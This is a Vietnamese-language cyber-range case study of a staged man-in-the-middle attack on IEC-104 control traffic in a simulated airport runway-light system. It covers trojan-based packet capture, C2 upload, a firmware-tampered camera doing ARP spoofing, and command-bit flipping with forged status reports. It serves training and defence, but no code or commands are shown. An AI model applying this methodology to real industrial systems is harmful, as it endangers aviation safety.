Aviation Runway Cyber Range Security Case Study

[ Tấn công MITM vào kênh điều khiển OT PLC–HMI IEC 60870-5-104 ]

Các sân bay hiện đại phụ thuộc rất nhiều vào các hệ thống OT, IT và IoT tích hợp để đảm bảo hoạt động an toàn và hiệu quả của đường băng của Kiểm soát Không lưu (ATC). Các hệ thống này cũng đã trở thành mục tiêu tiềm năng cho các cuộc tấn công mạng. Trong nghiên cứu điển hình này, tôi sẽ sử dụng Hệ thống mô phỏng quản lý đèn đường băng sân bay CAT-II Mini OT Aviation (v_0.2.1) để chứng minh cách một tác nhân red-team độc hại có thể khai thác các cấu hình sai và điểm yếu trong kênh điều khiển PLC-HMI IEC 60870-5-104 của phạm vi mạng thông qua một cuộc tấn công mạng Man-in-the-Middle (MITM).

Nghiên cứu điển hình này được thiết kế như một phần của hội thảo an ninh mạng IT/OT/IoT của chúng tôi để trình bày sáu vectơ tấn công khác nhau có thể xảy ra trong hệ thống thực tế. Kịch bản giả định một kẻ tấn công xâm nhập một camera giám sát IoT trái phép của bên thứ ba bên trong Phòng Điều khiển ATC của Tháp, và từ đó chặn và thao túng lưu lượng OT giữa Giao diện Người-Máy (HMI) và Bộ điều khiển Logic khả trình (PLC). Cuộc tấn công mô phỏng dẫn đến việc tạm thời từ chối kiểm soát đèn đường băng, leo thang thành gián đoạn dịch vụ kiểm soát không lưu và cuối cùng tạo ra tình huống cảnh báo Máy bay sắp hết nhiên liệu.

Nội dung nghiên cứu điển hình này bao gồm 5 phần sau:

Bối cảnh của kịch bản tấn công và các giả thuyết về an ninh mạng được sử dụng trong nghiên cứu điển hình.
Các hệ thống cảnh báo, báo động và bảo vệ an toàn của Hệ thống mô phỏng quản lý đèn đường băng.
Cách các cấu hình sai trong mạng tháp đèn đường băng tạo ra các điểm yếu có thể khai thác.
Đường dẫn tấn công từng bước với các chi tiết kỹ thuật về thao tác kênh điều khiển MITM.
Trình diễn tác động của cuộc tấn công và việc sử dụng nó trong việc đào tạo các đội ứng phó sự cố.

Lưu ý quan trọng: Nghiên cứu điển hình này diễn ra trong một môi trường phạm vi mạng được kiểm soát, nơi các lỗ hổng và cấu hình sai được cố ý đưa vào cho mục đích đào tạo. Trong các hệ thống hàng không thực tế, các biện pháp bảo vệ an toàn mạnh mẽ hơn và hầu hết các điểm yếu được mô tả ở đây sẽ được giải quyết. Các cuộc tấn công được trình diễn không thể được sao chép trực tiếp trên các hệ thống sân bay đang hoạt động.

Lời cảm ơn đặc biệt: Tôi xin bày tỏ lòng biết ơn sâu sắc đến chuyên gia an ninh hàng không chuyên nghiệp Olivier Roubault vì những lời khuyên, nhận xét và khuyến nghị thực tế của ông đã giúp chúng tôi cải thiện đáng kể thiết kế và tính chân thực của phạm vi mạng và nghiên cứu điển hình về hệ thống quản lý đèn đường băng của chúng tôi.

# Author:      Yuancheng Liu
# Created:     2025/09/10
# Version:     v_0.2.1
# Copyright:   Copyright (c) 2025 Liu Yuancheng

Giới thiệu

Nghiên cứu điển hình về tấn công mạng này trình bày cách nhiều kỹ thuật tấn công có thể được kết hợp để thao túng kênh luồng dữ liệu điều khiển giữa Đèn đường băng và HMI Điều khiển Chỉ báo trong tháp sân bay và một PLC chịu trách nhiệm điều khiển đèn giữ đường băng cất cánh. Bằng cách khai thác những điểm yếu này, kẻ tấn công có thể gây ra từ chối hoặc trì hoãn các hoạt động hạ cánh của máy bay, ảnh hưởng trực tiếp đến các dịch vụ kiểm soát không lưu. Nghiên cứu điển hình sẽ bao gồm sáu loại vectơ tấn công mạng bao gồm:

Thỏa hiệp chuỗi cung ứng cho thiết bị IOT
Cập nhật phần sụn độc hại & cấu hình sai
Các điểm không hoàn hảo của giao thức IEC61850-5-104
Nghe lén và giả mạo gói tin
Chiếm quyền điều khiển Man-in-the-Middle
Từ chối dịch vụ cấp thành phần

Toàn bộ nghiên cứu điển hình và trình diễn được thực hiện trên phiên bản mới nhất của Hệ thống mô phỏng quản lý đèn đường băng sân bay CAT-II Mini OT Aviation, được thiết kế đặc biệt cho các bài tập nghiên cứu, đào tạo và phạm vi mạng. Tất cả các kịch bản và kỹ thuật tấn công được trình bày ở đây hoàn toàn cho mục đích giáo dục, hỗ trợ đào tạo an ninh mạng IT/OT/IoT và các khóa học tập trung vào ICS ở các cấp độ khác nhau.

Giới thiệu về Phạm vi mạng hàng không

Hệ thống mô phỏng quản lý đèn đường băng sân bay CAT-II Mini OT Aviation là một nền tảng phạm vi mạng nhỏ gọn được phát triển để mô phỏng Bốn môi trường OT cấp độ khác nhau của hệ thống điều khiển đèn đường băng thiết bị chính xác loại II của sân bay như được hiển thị trong sơ đồ cấu trúc hệ thống bên dưới:

Hình-01: Sơ đồ kiến trúc phạm vi mạng hàng không phiên bản v0.2.1 (2025)

Nó cung cấp các mô-đun mô phỏng từ các quy trình vật lý OT-Cấp 0 (thiết bị đường băng thuần túy) như đèn ALS và ILS, hệ thống Radar giám sát sân bay (ASR), VHF Comm và Camera đến Vùng quản lý hoạt động OT-Cấp 3 như điều khiển tháp và hệ thống HMI giám sát. Tất cả thiết kế của hệ thống tuân theo Cục Hàng không Liên bang (FAA) ATC "Tiêu chuẩn chung". Nền tảng mô phỏng Bốn hệ thống SCADA được sử dụng cho ATC sân bay:

Hệ thống đèn đường băng CAT-II: Hệ thống cốt lõi mô phỏng 11 loại đèn đường băng và chỉ báo trực quan.
Hệ thống radar giám sát sân bay: Hệ thống hỗ trợ phụ mô phỏng 3 loại radar.
Hệ thống liên lạc vô tuyến: Hệ thống hỗ trợ phụ mô phỏng liên lạc VHF/UHF giữa phi công-tháp và điện thoại tháp-mặt đất.
Hệ thống camera giám sát: Hệ thống camera IP giám sát máy bay hạ cánh và cất cánh trên đường băng.

Hiện tại, phạm vi mạng được cập nhật lên phiên bản v_0.2.1 để biết thêm thông tin giới thiệu, vui lòng tham khảo tài liệu giới thiệu v_0.0.1: https://www.linkedin.com/pulse/aviation-runway-lights-management-simulation-system-yuancheng-liu-5rzhc

Cấu hình môi trường hệ thống demo

Trong các sân bay thực tế, cơ sở hạ tầng IT và OT rất mạnh mẽ, biệt lập và được thiết kế để chống lại hầu hết các cuộc tấn công mạng đã biết hiện nay. Để tạo ra một môi trường đào tạo thực tế cho nghiên cứu điển hình này, chúng tôi đã cố ý đưa vào các điểm yếu và cấu hình sai giả định vào nền tảng phạm vi mạng của mình. Những giả định này cho phép chúng tôi khám phá cách một kẻ tấn công có thể khai thác các lỗ hổng trong một hệ thống ít được bảo vệ hơn, mà không gợi ý rằng những sai sót như vậy tồn tại trong các mạng sân bay đang hoạt động.

Cấu hình mạng demo (xem hình trên) bao gồm bốn mạng con riêng biệt và tổng cộng 17 máy ảo (VM) như hình dưới đây:

Hình-02: Sơ đồ cấu trúc liên kết mạng OT của nghiên cứu điển hình, phiên bản v0.2.1 (2025)

Mạng con Green Team – Đại diện cho các kết nối vật lý giữa các thiết bị và PLC. Mạng con này không thể truy cập trực tiếp đối với kẻ tấn công red team.
Mạng con Blue Team 1 – Mô phỏng mạng giao tiếp giữa phòng điều khiển tháp đường băng và PLC. Nó được bảo vệ bởi các điều khiển định tuyến IP và cũng không thể truy cập trực tiếp đối với kẻ tấn công.
Mạng con Blue Team 2 – Đại diện cho mạng biệt lập của tháp điều khiển đường băng, bao gồm HMI SCADA và các hệ thống giám sát. Mặc dù kẻ tấn công không thể kết nối trực tiếp, nhưng mạng con này có thể tiếp xúc gián tiếp thông qua hoạt động bảo trì hoặc các thiết bị cấu hình sai.
Mạng con Red Team/Internet – Mô phỏng môi trường của kẻ tấn công, bao gồm cơ sở hạ tầng C2 và các thiết bị IoT của bên thứ ba bị xâm nhập. Kẻ tấn công không thể bắc cầu trực tiếp vào Mạng con Blue Team 2 mà không tận dụng đường dẫn trung gian.

Một quy tắc thiết kế truy cập mạng quan trọng trong mô phỏng này là không ai có quyền truy cập đồng thời vào cả môi trường của kẻ tấn công và mạng OT biệt lập.

Các giả thuyết về cấu hình sai của kịch bản nghiên cứu điển hình

Dựa trên phần giới thiệu về môi trường trước đó, chúng ta hiểu rằng không có cách nào để kẻ tấn công red team truy cập bất kỳ phần nào của mạng OT trong thời gian thực. Thay vào đó, kẻ tấn công phải dựa vào một kỹ sư bảo trì bất cẩn và máy tính xách tay bị xâm nhập của anh ta để thu hẹp khoảng cách. Điều này tạo ra một vectơ mối đe dọa từ bên trong thực tế, làm nổi bật những rủi ro của việc vệ sinh điểm cuối kém.

Chúng tôi đã xác định năm giả thuyết chính liên quan đến các điểm yếu và cấu hình sai trong hệ thống phạm vi mạng này:

Giả thuyết 1: Một kỹ sư bảo trì bất cẩn kết nối máy tính xách tay của mình với internet, tạo cơ hội cho kẻ tấn công cài đặt một trojan gián điệp và lấy một số thông tin quan trọng về sân bay.
Giả thuyết 2: Cùng một máy tính xách tay sau đó được kết nối vật lý với mạng OT đường băng Cấp 3 biệt lập để thử nghiệm, cho phép trojan được cài đặt sẵn hoạt động bên trong môi trường điều khiển.
Giả thuyết 3: Sau khi rời khỏi tháp điều khiển, kỹ sư bảo trì kết nối lại máy tính xách tay của mình với internet, cho phép kẻ tấn công trích xuất thông tin mạng nhạy cảm và các mẫu liên lạc được thu thập bởi trojan.
Giả thuyết 4: Kẻ tấn công thực hiện một thỏa hiệp chuỗi cung ứng, nhúng mã độc hại vào phần sụn của camera IoT, sau đó hoạt động như một điểm truy cập bí mật trong môi trường OT.
Giả thuyết 5: Một cấu hình sai đặt camera giám sát IoT của bên thứ ba trên cùng một mạng con với HMI điều khiển đèn đường băng, kỹ sư bảo trì cập nhật camera bằng phần sụn độc hại tạo ra một điểm tiếp xúc bất ngờ.

Những giả thuyết này, mặc dù không thực tế đối với các hệ thống hàng không thực tế, cung cấp một sân tập linh hoạt, được kiểm soát, nơi chúng ta có thể mô phỏng thỏa hiệp chuỗi cung ứng, lạm dụng cấu hình sai, rủi ro từ bên trong và các đường dẫn tấn công cụ thể cho OT như thao tác MITM của kênh điều khiển IEC104.

Kịch bản và đường dẫn tấn công của nghiên cứu điển hình

Sơ đồ bên dưới cho thấy đường dẫn tấn công mô phỏng được sử dụng trong nghiên cứu điển hình này. Nó cho thấy cách một kẻ tấn công — bắt đầu từ một máy tính xách tay bảo trì bị xâm nhập và một camera IoT bị giả mạo — thiết lập một Man-in-the-Middle (MITM) trên kênh điều khiển PLC ↔ HMI IEC-104 để sửa đổi phần ASDU dữ liệu lệnh đèn giữ đường băng, gây ra sự chậm trễ cất cánh và buộc một máy bay đến khác phải lượn vòng trong mô hình giữ cho đến khi báo động nhiên liệu thấp được đưa ra.

Hình-03: Sơ đồ kịch bản và đường dẫn tấn công của nghiên cứu điển hình, phiên bản v0.2.1 (2025)

Cuộc tấn công đầu cuối diễn ra trên dòng thời gian theo giai đoạn sau (T1 → T13) như được đánh dấu trong sơ đồ. Mỗi bước mô tả hành động của kẻ tấn công, vai trò của kỹ sư bảo trì bị xâm nhập như một người trong cuộc vô tình và phương pháp kỹ thuật được sử dụng để chặn lưu lượng OT.

Bước-T1 — Thỏa hiệp ban đầu & báo hiệu: Kẻ tấn công lây nhiễm trojan gián điệp vào máy tính xách tay của kỹ sư bảo trì (thông qua lừa đảo, quảng cáo độc hại hoặc thỏa hiệp trước). Trojan cài đặt tải trọng quét mạng, chụp gói tin và chờ lệnh từ cơ sở hạ tầng C2 của kẻ tấn công. Khi máy tính xách tay trực tuyến, đo từ xa và các gói tin bị chụp sẽ được chuyển đến C2.
Bước-T2 — Truy cập vật lý vào OT: Kỹ sư bảo trì, không biết về sự lây nhiễm, ngắt kết nối khỏi internet và mang máy tính xách tay vào phòng tháp đường băng để thực hiện các tác vụ bảo trì. Anh ta cắm máy tính xách tay vào cổng thử nghiệm RJ45 của tháp được kết nối với môi trường OT biệt lập.
Bước-T3 — Trinh sát cục bộ bên trong OT: Trong khi được kết nối, trojan ghi lại một cách thụ động lưu lượng mạng giữa máy tính xách tay nạn nhân và PLC đường băng Cấp 1 (PLC01), chụp các gói tin IEC-104, địa chỉ và các mẫu trình tự được sử dụng để điều khiển đèn giữ.
Bước-T4 — Trả lại & phân tích dữ liệu: Sau khi rời khỏi tháp và kết nối lại với internet, máy tính xách tay tải các gói tin bị thu hoạch lên C2 của kẻ tấn công. Kẻ tấn công tải xuống các gói tin này để phân tích ngoại tuyến.
Bước-T5 — Phát triển tấn công: Sử dụng lưu lượng bị chụp và bất kỳ tài liệu bị rò rỉ nào, kẻ tấn công đảo ngược kỹ thuật nhắn tin IEC-104, IP HMI/PLC và các bit điều khiển. Họ phát triển một quy trình MITM có khả năng phân tích cú pháp và sửa đổi các lệnh và phản hồi IEC-104 cụ thể. Kẻ tấn công nhúng tải trọng MITM này vào một hình ảnh phần sụn “tùy chỉnh” cho camera giám sát IoT của bên thứ ba.
Bước-T6 — Phân phối chuỗi cung ứng: Kẻ tấn công thực hiện một thủ thuật chuỗi cung ứng hoặc hậu cần để có được một camera được flash với phần sụn độc hại và được chuyển vào quy trình bảo trì.
Bước-T7 — Thay thế thiết bị: Kỹ sư bảo trì (hoặc nhà thầu tại chỗ) thay thế một camera bị hỏng trong tháp bằng thiết bị bị giả mạo mà không kiểm tra phần sụn hoặc vị trí mạng của nó.
Bước-T8 — Giả mạo ARP & chuyển hướng lưu lượng: Sau khi được triển khai, camera độc hại kích hoạt và thực hiện giả mạo ARP/thao tác định tuyến cục bộ để định vị chính nó như một MITM trong suốt giữa PLC01 và HMI, khiến lưu lượng truy cập chảy PLC01 → Camera → HMI.
Bước-T9 — Phân tích cú pháp gói tin & logic kích hoạt: Quy trình MITM của camera phân tích cú pháp các khung IEC-104 trực tiếp và chờ một lệnh/trình tự cụ thể (cái gọi là “kích hoạt”) cho biết một nhà điều hành đang đưa ra một thay đổi đèn giữ cất cánh.
Bước-T10 — Giả mạo lệnh (cất cánh bị chặn): Khi nhà điều hành tháp nhấn nút HMI để tắt đèn giữ cất cánh (cho phép máy bay bắt đầu cất cánh), MITM chặn và lật bit điều khiển có liên quan để lệnh được gửi đến PLC01 cho biết BẬT (giữ). Phi công, nhìn thấy ánh sáng vật lý, giữ máy bay ở khu vực giữ cất cánh.
Bước-T11 — Triệt tiêu phản hồi trạng thái: Đồng thời, MITM sửa đổi các báo cáo trạng thái PLC → HMI để HMI hiển thị các trạng thái PLC bình thường/dự kiến. Điều này che giấu thao tác khỏi nhà điều hành tháp và ngăn chặn hành động khắc phục của nhà điều hành.
Bước-T12 — Tác động hoạt động xếp tầng: Một máy bay đến (Máy bay-2) trên đường tiếp cận cuối cùng quan sát đường băng là có người (hoặc nhận được hướng dẫn ATC phù hợp với đường băng có người) và phải hủy bỏ/thực hiện một cách tiếp cận bị bỏ lỡ, leo trở lại mô hình giữ.
Bước-T13 — Leo thang an toàn: Sau khi lượn vòng kéo dài trong mô hình giữ, phi công đến tuyên bố tình trạng nhiên liệu thấp cho ATC, thúc đẩy xử lý ưu tiên và một sự cố an toàn.

Đường dẫn tấn công trình bày cách một cuộc tấn công hỗn hợp — kết hợp thỏa hiệp điểm cuối, giả mạo chuỗi cung ứng và MITM nhận biết OT — có thể tạo ra các kết quả hoạt động nguy hiểm ngay cả khi các mạng OT chính được thiết kế để bị cô lập. Tất cả các bước trên được thực hiện trong phạm vi mạng của chúng tôi trong điều kiện được kiểm soát; chúng chỉ nhằm mục đích làm nổi bật cơ chế tấn công, cơ hội phát hiện và các chiến lược giảm thiểu rủi ro cho đào tạo và nghiên cứu.

Hệ thống cảnh báo & báo động phạm vi mạng

Trước khi tôi đi qua bản demo tấn công, điều quan trọng là phải hiểu các cơ chế bảo vệ an toàn được tích hợp trong phạm vi mạng. Các cơ chế này mô phỏng các biện pháp bảo vệ ATC Tháp trong thế giới thực để bạn có thể thấy lý do tại sao kẻ tấn công phải thực hiện các hành động trinh sát và bỏ qua cụ thể để giữ bí mật.

Mục đích & hành vi cấp cao: Các PLC và HMI trong trình mô phỏng của chúng tôi thực hiện xác minh trạng thái tự động và một hệ thống tạo cảnh báo/báo động theo lớp. Bất cứ khi nào một nhà điều hành đưa ra một hành động điều khiển (ví dụ: bật đèn đường băng hoặc thanh tiếp cận để giải phóng trạng thái), các PLC so sánh các trạng thái được lệnh với phản hồi cảm biến trạng thái ánh sáng. Bất kỳ sự không phù hợp hoặc điều kiện bất thường nào đều được gắn cờ và đẩy đến HMI tháp và đến màn hình mô phỏng thế giới vật lý để các nhà điều hành có thể nhanh chóng phát hiện và ứng phó với các lỗi. Cảm biến ánh sáng PLC và logic điều khiển tuân theo cùng một logic trong bài viết điều khiển PLC này: https://www.linkedin.com/pulse/use-plc-remote-control-circuit-breaker-power-system-yuancheng-liu-7ljxc, phiên bản hiện tại cung cấp 11 loại cảnh báo đường băng, 18 loại báo động đường băng và 4 loại báo động máy bay.

Cách hình dung các cảnh báo & báo động

Trình mô phỏng thế giới vật lý phủ các biểu tượng cảnh báo/báo động nhấp nháy trực tiếp lên thiết bị mô phỏng (ví dụ: đèn đường băng hoặc đèn hiệu) để người dùng phạm vi mạng ngay lập tức nhìn thấy thành phần bị ảnh hưởng.
HMI phản ánh những thông báo đó trong một bảng điều khiển chỉ báo cảnh báo & báo động chuyên dụng, nơi các báo động nhấp nháy và cung cấp thông tin theo ngữ cảnh (loại, thiết bị bị ảnh hưởng, dấu thời gian).

Sơ đồ từ bản đồ Trình mô phỏng Thế giới Vật lý (Cảnh báo & Báo động Thật) đến HMI (Cảnh báo & Báo động Được phát hiện) được hiển thị bên dưới:

Figure-04: Sơ đồ Hệ thống Cảnh báo & Báo động Cyber Range, phiên bản v0.2.1 (2025)

Ví dụ về logic phát hiện:

Người vận hành nhấn nút điều khiển → HMI gửi lệnh điều khiển IEC-104 → PLC kích hoạt thiết bị và đọc (các) cảm biến cục bộ → PLC báo cáo trạng thái thực tế trở lại HMI.
Nếu trạng thái cảm biến PLC ≠ trạng thái được lệnh trong một khoảng thời gian chờ hoặc dung sai đã định cấu hình, PLC sẽ đưa ra báo động; nếu một hành động của người vận hành yêu cầu sự chú ý nhưng không quan trọng, một cảnh báo có thể được hiển thị thay thế. PLC/HMI tuân theo cùng một logic cảm biến/điều khiển được sử dụng trong các ví dụ điều khiển từ xa PLC của chúng tôi.

Danh mục cảnh báo & báo động

Cảnh báo Đường băng (11) — ví dụ: Đèn Giữ Chuyến bay Kích hoạt; cảnh báo nguồn điện Tháp Đèn hiệu; đèn mép đường băng tắt; đèn than vùng thận trọng được kích hoạt ...
Báo động Đường băng (18) — báo động chi tiết về sự cố nguồn/trạng thái không khớp và lỗi cảm biến trên các thanh tiếp cận, thanh ngưỡng, PAPI, chỉ báo đường lăn, ăng-ten radar và ăng-ten VHF ...
Báo động Máy bay (4) — ví dụ: Máy bay hết nhiên liệu, máy bay leo khẩn cấp, độ gần radar, xung đột đèn đường băng ...

Các danh mục này cung cấp nhận thức tình huống nhiều tầng: cảnh báo để người vận hành chú ý, báo động thường yêu cầu các quy trình ứng phó sự cố ngay lập tức.

Phản hồi Hoạt động

Khi một cảnh báo xuất hiện, người vận hành được mong đợi kiểm tra kỹ trạng thái vật lý và tiến hành hành động khắc phục. Khi một báo động xảy ra, người vận hành phải triệu hồi các quy trình ứng phó sự cố (cô lập, xác minh cảm biến, quay lại lệnh, gọi bảo trì, v.v.). Trong cuộc tấn công mạng, kẻ tấn công cần vô hiệu hóa hoặc trốn tránh các biện pháp bảo vệ này, ngăn chặn hoặc giả mạo phản hồi PLC → HMI để HMI tiếp tục hiển thị "bình thường" mặc dù trạng thái thiết bị thực tế thay đổi.

Trình diễn Kịch bản Tấn công

Trong phần này, chúng ta sẽ đi qua từng bước trong sổ tay chơi của kẻ tấn công: các công cụ và tải trọng được sử dụng (cấp cao), phân tích cấp gói tin đã thông báo logic tấn công và các hành động quan trọng mà đối thủ thực hiện từ xâm nhập ban đầu đến thao túng MITM trực tiếp làm gián đoạn hoạt động của đường băng.

Mỗi bước quan trọng ghép ý định của kẻ tấn công với các hiện vật kỹ thuật có thể quan sát được (PCAP, trường IEC-104 ASDU, hành vi thiết bị) để người phòng thủ có thể hiểu cả cách thức tấn công hoạt động và nơi có cơ hội phát hiện.

Bước T1 → T2 — Xâm nhập ban đầu & phát tín hiệu

Phần trình diễn này bao gồm hai giai đoạn đầu tiên của kẻ tấn công:

(1) Lặng lẽ cấy một trình nghe lén nhẹ trên máy tính xách tay của kỹ sư bảo trì,
(2) Chờ kỹ sư mang điểm cuối bị nhiễm đó vào môi trường OT bị cô lập để cấy ghép có thể thu thập lưu lượng truy cập từ PLC đến máy tính xách tay nạn nhân.

Bộ công cụ được sử dụng : Kẻ tấn công sử dụng một bộ công cụ đội đỏ mà tôi đã phát triển — Project Ninja RT Framework (Hệ thống Mô phỏng Tấn công Mạng RTC2 & Trojan-Malware). Project Ninja cung cấp một bảng điều khiển C2 với các tải trọng mô-đun có thể được đẩy đến một mục tiêu, bao gồm một "tác nhân nhẹ" nhỏ được thiết kế để thu thập và trích xuất gói tin trong thời gian dài. Quy trình làm việc của bộ công cụ được hiển thị trong sơ đồ bên dưới.

Figure-05: Sơ đồ Quy trình làm việc của Project Ninja RT Framework, phiên bản v0.2.1 (2025)

Để biết giới thiệu chi tiết về hệ thống tấn công này, bạn có thể kiểm tra tài liệu này: https://www.linkedin.com/pulse/project-ninja-framework-rtc2-trojan-malware-cyber-attack-liu-loihc

Lây nhiễm & triển khai tải trọng Từ bảng điều khiển trojan web C2, kẻ tấn công liệt kê máy tính xách tay nạn nhân và chọn tải trọng tác nhân nhẹ (Chức năng #9 trong bảng điều khiển). Sử dụng GUI, kẻ tấn công định cấu hình các tham số thu thập:

NIC mục tiêu: ethernet-5 (giao diện RJ45 cục bộ của máy tính xách tay mà kỹ sư sẽ liên kết sau này vào cổng RJ45 thử nghiệm của tháp)
Thời lượng / khoảng thời gian thu thập: 43,200 giây → 12 giờ (tác nhân phân đoạn thu thập thành nhiều tệp pcap)
Hành vi sau thu thập: tự động xóa mô-đun tải trọng sau khi các bản ghi theo lịch trình kết thúc

Figure-06: Chức năng lưu lượng truy cập Nạn nhân Nghe lén Chủ động của Kẻ tấn công, phiên bản v0.2.1 (2025)

Sau khi tải trọng được cài đặt (Bước T1), kẻ tấn công chờ đợi cửa sổ bảo trì theo lịch trình. Vào ngày làm việc tiếp theo, kỹ sư bảo trì ngắt kết nối khỏi internet, vào tháp đường băng và cắm máy tính xách tay vào cổng thử nghiệm RJ45 Blue Team Subnet-2 bị cô lập (Bước T2). Trong phiên đó, cấy ghép thu thập lưu lượng truy cập từ Máy tính xách tay Nạn nhân ↔ PLC (kiểm tra đèn cất cánh/giữ và báo cáo trạng thái) chính xác như kế hoạch.

Sau khi được triển khai, trojan chạy ở chế độ ít hiển thị và định kỳ cố gắng phát tín hiệu đến C2 của kẻ tấn công để nhận lệnh và trích xuất các pcap đã thu thập khi máy tính xách tay lấy lại kết nối internet.

Bước T3 → T4 — Trả lại dữ liệu, phân tích & quyết định tấn công

Sau khi phiên bảo trì kết thúc và kỹ sư kết nối lại với internet sau khi anh ta trở về nhà, trojan được cấy ghép sẽ phát tín hiệu C2 và trích xuất các bản ghi của nó khi kẻ tấn công sử dụng chức năng "02 — Đánh cắp Tệp từ Nạn nhân đến C2-DB" tích hợp sẵn (như hình bên dưới).

Figure-07: Kẻ tấn công Đánh cắp tệp từ máy tính xách tay nạn nhân đến C2, phiên bản v0.2.1 (2025)

Sau khi tác vụ hoàn tất, các PCAP đã tải lên sẽ xuất hiện trong kho tệp C2 (như hình bên dưới) và kẻ tấn công tải chúng xuống từ C2 vào máy tính cục bộ của mình để thực hiện phân tích ngoại tuyến.

Figure-08: Kẻ tấn công tải xuống tệp pcap C2, phiên bản v0.2.1 (2025)

Sau khi có bản ghi gói tin lưu lượng truy cập "eavesdrop_record-07_13_09_2024.pcapng", kẻ tấn công bắt đầu phân tích dữ liệu gói tin và tìm thấy các PCAP chứa một số lưu lượng truy cập Lớp 2/3 và khung IEC-104 được thu thập khi máy tính xách tay được kết nối với mạng con Blue-Team bị cô lập. Các hiện vật chính được phục hồi trong quá trình phân tích bao gồm:

Khung điều khiển IEC-104 ASDU (yêu cầu lệnh từ Máy tính xách tay đến PLC cũng được HMI sử dụng cho PLC).
Báo cáo trạng thái PLC → Máy tính xách tay (điểm đo lường/chất lượng cũng có thể bị PLC kiện HMI).
Địa chỉ IP và ánh xạ cho HMI và PLC (ví dụ: PLC01 = 10.10.20.11).
Các mẫu trình tự/thời gian và bộ đếm APCI được sử dụng bởi phiên IEC-104.

Các ràng buộc về giao thức & môi trường được phát hiện

Dựa trên tài liệu và phân tích, cuộc tấn công tìm thấy việc kiểm tra gói tin cẩn thận đã tiết lộ một số yếu tố phòng thủ quan trọng hạn chế các tùy chọn tấn công đơn giản:

Danh sách trắng ghi PLC PLC thực thi danh sách trắng chính sách cho phép ghi để đảm bảo chỉ máy HMI có thể gửi lệnh thay đổi trạng thái PLC đến PLC để chống lại cuộc tấn công tiêm lệnh sai trừ khi kẻ tấn công có thể vượt qua các kiểm soát truy cập PLC.
Tính bền bỉ của điểm đo: Trạng thái đèn được duy trì trong các IOA đo lường rời rạc dự kiến sẽ được cập nhật bởi logic PLC; chỉ cần tiêm một yêu cầu dữ liệu sai sẽ bị PLC từ chối trực tiếp.
Bộ đếm trình tự/xác nhận APCI: IEC-104 sử dụng số trình tự Tx/Rx trong tiêu đề APCI của nó (chỉ số gửi/nhận). Việc phát lại ngây thơ các khung đã thu thập trước đó sẽ không thành công trừ khi các bộ đếm trình tự này được đồng bộ hóa chính xác với phiên HMI↔PLC trực tiếp, điều này gần như không thể để cuộc tấn công phát lại gói tin khớp chính xác trình tự với gói tin đã ghi cũ.

Figure-09: Trình tự tin nhắn IEC 60870-5-104 APCI, phiên bản v0.2.1 (2025)

Tài liệu quy tắc thay đổi điểm bộ nhớ IEC 104: https://infosys.beckhoff.com/english.php?content=../content/1033/tf6500_tc3_iec60870_5_10x/984444939.html&id=

Do những hạn chế này, kẻ tấn công kết luận rằng cả việc tiêm sai mù quáng lẫn phát lại đơn giản sẽ không đạt được khả năng kiểm soát lén lút một cách đáng tin cậy. Cách duy nhất cho anh ta là thực hiện cuộc tấn công người ở giữa để sửa đổi dữ liệu hợp lệ được gửi từ HMI đến PLC.

Từ lưu lượng truy cập đã thu thập, kẻ tấn công xác định vị trí chính xác các phần tử ASDU và IOA liên quan đến điều khiển đèn giữ như hình bên dưới:

Figure-10: Dữ liệu yêu cầu HMI đến PLC IEC 60870-5-104 ASDU, phiên bản v0.2.1 (2025)

Điều khiển ASDU tham chiếu chỉ mục điều khiển PLC 11.
IOA có thể thay đổi cho điều khiển đèn là 13.
Điều khiển "bước lên" của người vận hành được biểu thị bằng một giá trị điều khiển cụ thể (val=02) trong ASDU.

Kẻ tấn công cũng quan sát thấy mẫu đọc lại từ PLC đến HMI như hình bên dưới:

Figure-11: Dữ liệu phản hồi PLC đến HMI IEC 60870-5-104 ASDU, phiên bản v0.2.1 (2025)

Khi một lệnh UP được ban hành để thay đổi trạng thái đèn, PLC cũng nhận được giá trị cảm biến sau đó lưu vào quá trình chuyển đổi IOA đo lường 1 (TẮT → BẬT) và sau đó được HMI đọc lại thông qua một trình tự đọc/báo cáo IEC-104 riêng biệt.

Đặt các mảnh lại với nhau, kẻ tấn công mô hình hóa chiến lược tấn công khả thi: để giữ bí mật, chúng phải chặn và thay đổi cả hai hướng của trao đổi IEC-104 — ASDU điều khiển HMI → PLC (để lật lệnh) và ASDU đo lường/báo cáo PLC → HMI (để giữ cho màn hình HMI nhất quán). Kẻ tấn công phác thảo logic MITM và các mục tiêu cần thiết (trường điều khiển ASDU RCO và các trường báo cáo trạng thái/SPI ASDU) trong sơ đồ giả định tấn công như hình bên dưới:

Figure-11: Sơ đồ giả định tấn công MITM, phiên bản v0.2.1 (2025)

Bước T5 → T7 — Phát triển & Triển khai Tấn công

Sau khi phân tích lưu lượng truy cập IEC-104 đã thu thập và xác định chính xác các trường ASDU và IOA liên quan đến điều khiển đèn giữ, kẻ tấn công chọn triển khai chiến lược sửa đổi trong đường dẫn : cách thực tế duy nhất để giữ bí mật là ngồi giữa HMI và PLC và thay đổi tin nhắn theo cả hai hướng.

HMI → PLC: Sửa đổi yêu cầu điều khiển để "bước lên / cho phép" của người vận hành trở thành "bước xuống / giữ" (hoặc ngược lại).
PLC → HMI: Đảo ngược các báo cáo đọc lại/trạng thái để HMI tiếp tục hiển thị trạng thái bình thường và không đưa ra cảnh báo/báo động.

Vì Blue Team Subnet 2 bị cô lập khỏi internet, thay vì cố gắng tấn công trực tiếp từ mạng Red-Team bên ngoài, đối thủ sử dụng camera IoT của bên thứ ba bị xâm phạm làm phương tiện vật lý để đạt được vị trí trong đường dẫn đó. Sau khi được kết nối với cùng một mạng con với HMI điều khiển đèn, camera bị giả mạo tự định vị để quan sát và ảnh hưởng đến các luồng HMI↔PLC bằng cách quảng cáo thông tin định tuyến mạng cục bộ gây hiểu lầm (ví dụ: ánh xạ ARP giả mạo) để lưu lượng truy cập được định tuyến lại thông qua thiết bị. Sơ đồ luồng tấn công được hiển thị bên dưới:

Figure-12: Sơ đồ luồng tấn công MITM, phiên bản v0.2.1 (2025)

Để xây dựng tải trọng MITM trong bản trình diễn tấn công này, chúng tôi sử dụng Ettercap, một bộ toàn diện dựa trên Linux để tấn công người ở giữa để triển khai giả mạo ARP và sử dụng bộ lọc Ettercap để phân tích lưu lượng truy cập cổng 2042 và thực hiện thay thế bit. Để biết trình tự dữ liệu IEC104 ASDU chi tiết, bạn có thể tham khảo giải thích này: https://www.linkedin.com/pulse/python-virtual-plc-simulator-iec-60870-5-104-protocol-yuancheng-liu-bov7c

